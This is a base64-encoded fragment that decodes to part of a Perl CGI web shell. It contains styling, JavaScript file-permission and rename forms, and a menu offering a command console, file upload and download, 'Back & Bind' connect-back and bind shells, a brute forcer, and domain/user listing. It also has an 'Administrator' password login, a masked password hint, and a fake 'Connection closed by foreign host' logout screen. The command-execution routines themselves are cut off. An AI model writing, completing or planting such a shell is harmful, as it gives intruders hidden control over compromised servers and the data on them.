MTE7DQp9DQppbnB1dCB7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmNvbG9yOiAjZmY5OTAwOw0KfQ0KaW5wdXQuc3VibWl0IHsNCnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCmNvbG9yOiAjRkZGRkZGOw0KYm9yZGVyLWNvbG9yOiAjMDA5OTAwOw0KfQ0KY29kZSB7DQpib3JkZXI6IGRhc2hlZCAwcHggIzMzMzsNCmNvbG9yOiB3aGlsZTsNCn0NCnJ1biB7DQpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsNCmNvbG9yOiAjRkYwMEFBOw0KfQ0KdGV4dGFyZWEgew0KQkFDS0dST1VORC1DT0xPUjogIzFiMWIxYjsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2FhYTsNCn0NCkE6bGluayB7DQoJQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTp2aXNpdGVkIHsNCglDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTphY3RpdmUgew0KCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KLmxpc3RkaXIgdHI6aG92ZXJ7DQoJYmFja2dyb3VuZDogIzQ0NDsNCn0NCi5saXN0ZGlyIHRyOmhvdmVyIHRkew0KCWJhY2tncm91bmQ6ICM0NDQ7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7DQp9DQoubm90bGluZXsNCgliYWNrZ3JvdW5kOiAjMTExOw0KfQ0KLmxpbmV7DQoJYmFja2dyb3VuZDogIzIyMjsNCn0NCjwvc3R5bGU+DQo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIEVuY29kZXIobmFtZSkNCnsNCgl2YXIgZSA9ICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChuYW1lKTsNCgllLnZhbHVlID0gYnRvYShlLnZhbHVlKTsNCglyZXR1cm4gdHJ1ZTsNCn0NCmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQ0Kew0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlUGVybXNfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1jaG1vZCB0eXBlPXRleHQgc2l6ZT01IC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX2NobW9kX2Zvcm0ocmVzcG9uc2UsaSxwZXJtcyxmaWxlKQ0Kew0KCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOw0KfQ0KZnVuY3Rpb24gcmVuYW1lX2Zvcm0oaSxmaWxlLGYpDQp7DQoJZi5yZXBsYWNlKC9cXFxcL2csIlxcXFxcXFxcIik7DQoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9cmVuYW1lIHR5cGU9dGV4dCB2YWx1ZT0gJyIrZmlsZSsiJyAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckRW5jb2RlQ3VycmVudERpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpDQp7DQoJaWYoZj09J2YnKQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOw0KCX1lbHNlDQoJew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7DQoJfQ0KfQ0KPC9zY3JpcHQ+DQo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjxjZW50ZXI+PGNvZGU+DQo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4NCjx0cj4NCgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0zPg0KCQk8Yj48Zm9udCBzaXplPSIzIj49LS1bICAkRWRpdFBlcnNpb24gXS0tPTwvZm9udD48L2I+DQoJPC90ZD4NCgk8dGQ+DQoJCSRpbmZvDQoJPC90ZD4NCgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSJyZWQiPiAkRU5WeydTRVJWRVJfQUREUid9PC9mb250PiB8IFlvdXIgSVA6IDxmb250IGNvbG9yPSJyZWQiPiRFTlZ7J1JFTU9URV9BRERSJ308L2ZvbnQ+DQoJPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiI+DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24iPkhvbWU8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXIiPkNvbnNvbGU8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVDdXJyZW50RGlyIj5HVUk8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1iYWNrYmluZCI+QmFjayAmIEJpbmQ8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvbWFpbnN1c2VyIj5Eb21haW5zL1VzZXJzPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfA0KPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9Ii4uL2Vycm9yX2xvZy5waHAiPkhlbHA8L2E+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIj4NCiRpZA0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNGRkZGRkYiID4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCglwcmludCA8PEVORDsNCjxwcmU+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsNCiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsNCiAgICB0aGlzLnJ1bm5pbmcgPSB0cnVlOwkvLyBOZXZlciBydW4uDQogICAgcmV0dXJuOw0KICB9DQogIHRoaXMuZWxlbWVudCA9IGVsZW1lbnQ7DQogIHRoaXMuZmluaXNoZWRDYWxsYmFjayA9IChmaW5pc2hlZENhbGxiYWNrID8gZmluaXNoZWRDYWxsYmFjayA6IGZ1bmN0aW9uKCkgeyByZXR1cm47IH0pOw0KICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsNCiAgdGhpcy5vcmlnVGV4dCA9IHRoaXMuZWxlbWVudC5pbm5lckhUTUw7DQogIHRoaXMudW5wYXJzZWRPcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQ7DQogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsNCiAgdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KICB0aGlzLmN1cnJlbnRDaGFyID0gMDsNCiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOw0KICBpZih0aGlzLmVsZW1lbnQuaWQgPT0gIiIpIHRoaXMuZWxlbWVudC5pZCA9ICJ0eXBpbmd0ZXh0IiArIFR5cGluZ1RleHQuY3VycmVudEluZGV4Kys7DQogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7DQogIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICB0aGlzLmluVGFnID0gZmFsc2U7DQogIHRoaXMudGFnQnVmZmVyID0gIiI7DQogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICIiOw0KfQ0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsNClR5cGluZ1RleHQuY3VycmVudEluZGV4ID0gMDsNClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7DQogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7DQp9DQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsNCiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47DQogIGlmKHR5cGVvZiB0aGlzLm9yaWdUZXh0ID09ICJ1bmRlZmluZWQiKSB7DQogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4NCiAgICByZXR1cm47DQogIH0NCiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOw0KLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0Lg0KICBpZih0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGgpIHsNCiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOw0KICAgICAgdGhpcy5pblRhZyA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOw0KICAgICAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOw0KICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOw0KICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIHsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgfQ0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0Ow0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsNCiAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOw0KICB9IGVsc2Ugew0KCXRoaXMuY3VycmVudFRleHQgPSAiIjsNCgl0aGlzLmN1cnJlbnRDaGFyID0gMDsNCiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogICAgICAgIHRoaXMuZmluaXNoZWRDYWxsYmFjaygpOw0KICB9DQp9DQo8L3NjcmlwdD4NCjwvcHJlPg0KDQo8YnI+DQoNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCm5ldyBUeXBpbmdUZXh0KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoYWNrIiksIDMwLCBmdW5jdGlvbihpKXsgdmFyIGFyID0gbmV3IEFycmF5KCJfIiwiIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlIGFyLmxlbmd0aF07IH0pOw0KVHlwaW5nVGV4dC5ydW5BbGwoKTsNCg0KPC9zY3JpcHQ+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgZW5jb2RlIGh0bWwgc3BlY2lhbCBjaGFycw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVybEVuY29kZSgkKXsNCglteSAkc3RyID0gc2hpZnQ7DQoJJHN0ciA9fiBzLyhbXkEtWmEtejAtOV0pL3NwcmludGYoIiUlJTAyWCIsIG9yZCgkMSkpL3NlZzsNCglyZXR1cm4gJHN0cjsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7DQoJbXkgJHRleHQgPSBzaGlmdDsNCgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsNCgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7DQoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii5lbmNvZGVfYmFzZTY0KCRwYXRoKS4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KDQoNClBhc3N3b3JkOjxicj4NCkxvZ2luIGluY29ycmVjdDxicj48YnI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5Gb3JtDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQpMb2dpbiA6IEFkbWluaXN0cmF0b3I8YnI+DQpQYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8YnI+DQoJPGZvbnQgY29sb3I9cmVkPj08L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPi0tLSZndDsqICA8Zm9udCBjb2xvcj0jZmY5OTAwPlBhc3M6IGoqciogPC9mb250PiAgKiZsdDstLS09PC9mb250PjwvY29kZT4NCjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQoJZXhpdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL